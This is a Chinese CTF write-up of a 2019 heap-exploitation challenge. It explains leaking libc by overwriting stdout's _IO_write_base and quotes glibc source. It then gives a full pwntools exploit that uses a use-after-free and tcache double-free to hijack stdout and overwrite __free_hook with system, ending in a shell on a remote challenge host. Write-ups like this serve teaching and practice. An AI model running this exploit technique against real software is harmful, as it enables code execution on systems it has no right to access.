还有一种做法是先把free_hook改写成puts,因为这题没开relro,所以可以直接写入puts@plt的地址。
然后通过一个free操作来leak libc。
当然如果开了relro就没辙了,所以还是这种楼主这种方法比较通用。
从一题看利用IO_file to leak
利用io_file的结构去leak的思路是来自HITCON2018中angboy出的一个baby_tcache
,其中要leak出libc地址,采用了覆盖stdout结构体中_IO_write_base
,然后利用puts函数的工作机制达到了leak的目的。
源码分析
首先我们先要了解一下puts函数是如何调用的
其是由
_IO_puts
函数实现,其内部调用_IO_sputn
,接着执行_IO_new_file_xsputn
,最终会执行_IO_overflow
来看一下关于_IO_puts
的相关源码:
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
_IO_new_file_overflow
的相关源码:
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
......
......
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base); //控制的目标
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */当两个地址相等就不会打印这个段。
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
又上面的源码可知,当IO_write_ptr
与_IO_buf_end
不想等的时候就会打印者之间的字符,其中就有可能会有我们需要的leak,我们再接着看一下函数_IO_do_write
,这个函数实际调用的时候会用到new_do_write
函数,其参数与之前一样。
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //这里最终调用sysewrite来做到写的功能.
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
主要看函数的count赋值的那个地方,data
=_IO_write_base
,size
=_IO_write_ptr - _IO_wirte_base
就是这之间的距离,然后最后会return的count实现leak。ps:其中为了防止其进入else if 分支需要设置fp->_flags & _IO_IS_APPENDING
返回1.
关于其中更多的信息可以查看链接
例题-国赛BMS
题目是来自2019国赛的题,这个题目能够比较简单的去利用所学的这个leak方法,先看看程序的主要逻辑。
静态分析
main
main函数吧,这里是去了符号,我已经重命名好了函数名。总共有3个功能add,delete和exit。这里没有show函数。。就让人很苦恼了。
add
看逻辑是先给你malloc了一个0x20的堆块用来存放book name
然后让你自己控制大小去申请,这里申请的堆块大小有限制应该是在0<x<0x60
之间。
delete
bug点在这个函数里,是在free之后没有对全局变量进行一个置0操作导致了uaf漏洞的产生。
疑问点:这里会疑问是否是含有tache的一个libc版本?所以建议在比赛的时候试试,如果远程报错了那就是正常的fastbin,那如果没报错就是tache了。这里经过测试发现远程是libc2.27以上的版本。
大致思路分析
- 利用uaf改堆块的fd到
stdout
使得我们可以对_IO_file
结构进行一波操作。 - 改写完
_IO_write_base
之后进行leak获取到字符串 - 改写
_free_hook
为system
然后free含有/bin/sh
字符的堆块达到getshell的目的。
exp分析
大致的把整个exp的流程分析一下。
劫持stdout
new("1234567",0x60,"1234567")
delet(0)
delet(0)
new("1234567",0x60,p64(0x602020))
new("1234567",0x60,"\x20")#这里的"\x20"是根据libc进行变换的。改成stdout地址从而劫持这个结构体
new("1234567",0x60,"\x20")
主要的劫持stdout结构体然后进行更改。
更改结构体
new("1234567",0x60,p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = r.recv(0x20)
leak = leak[0x18:]
leak_Addr = u64(leak[:6].ljust(8,"\x00"))-e.symbols["_IO_file_jumps"]
print hex(leak_Addr)
这里更改结构体结构体的代码
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
可见这里我们的目标就是改了第四个参数,有了这个结构应该不难理解exp中为什么是p64(0)+"\x00"了。
getshell
这里就是一个常规思路了,可以看见我的exp里面其实是原来用的onegadget,最后是发现了用不了改用了_free_hook
去更改。
one = leak_Addr+0x47c9a
new("1234567",0x30,"1234567")
new("/bin/sh",0x40,"/bin/sh")
delet(5)
delet(5)
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x47DC0))
delet(6)
r.interactive()
总结
其实题目的难度就在你怎么判断libc和如何去leak上,绕过这两点就没有什么实质性的难度了,也算是get了一个新姿势,文末日常膜ch4r1l3
师傅
最后完整exp
from pwn import *
debug=0
context.log_level='debug'
a = ELF("./bms")
e = a.libc
print hex(e.symbols["__free_hook"])
#print hex(e.symbols["_IO_stdfile_2_lock"])
#a = ELF("./bms")
#e = a.libc
if debug:
r=process('./bms')#,env={'LD_PRELOAD':'./libc6_2.26-0ubuntu2.1_amd64.so'})
gdb.attach(r)
else:
r=remote("90b826377a05d5e9508314e76f2f1e4e.kr-lab.com",40001)
def ru(x):
return r.recvuntil(x)
def se(x):
r.send(x)
def sl(x):
r.sendline(x)
def new(name,size,content):
r.recvuntil(">")
r.sendline("1")
r.recvuntil("book name:")
r.sendline(str(name))
r.recvuntil("description size:")
r.sendline(str(size))
r.recvuntil("description:")
r.send(str(content))
def view(index):
r.recvuntil("> ")
r.sendline("2")
r.recvuntil("Info index: ")
r.sendline(str(index))
def delet(idx):
r.recvuntil(">")
r.sendline("2")
r.recvuntil("index:")
r.sendline(str(idx))
def edit(idx,content):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil("Info index: ")
r.sendline(str(idx))
r.sendline(content)
def new0(name,size,content):
r.recvuntil(">")
r.sendline("1")
r.recvuntil("book name:")
r.sendline(str(name))
r.recvuntil("description size:")
r.sendline(str(size))
r.recvuntil("description:")
r.sendline(str(content))
r.recvuntil("username:")
r.sendline("admin")
r.recvuntil("password:")
r.sendline("frame")
new("1234567",0x60,"1234567")
delet(0)
delet(0)
new("1234567",0x60,p64(0x602020))
new("1234567",0x60,"\x20")
new("1234567",0x60,"\x20")
raw_input()
new("1234567",0x60,p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = r.recv(0x20)
leak = leak[0x18:]
leak_Addr = u64(leak[:6].ljust(8,"\x00"))-e.symbols["_IO_file_jumps"]
print hex(leak_Addr)
one = leak_Addr+0x47c9a
new("1234567",0x30,"1234567")
new("/bin/sh",0x40,"/bin/sh")
delet(5)
delet(5)
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x47DC0))
delet(6)
r.interactive()
'''
free_hook = leak_Addr+e.symbols["__free_hook"]
new("1234567",0x30,"1234567")#4
delet(5)
delet(5)
new("1234567",0x30,p64(free_hook))
new("1234567",0x30,p64(one))
new("1234567",0x30,p64(one))
'''
#r.interactive()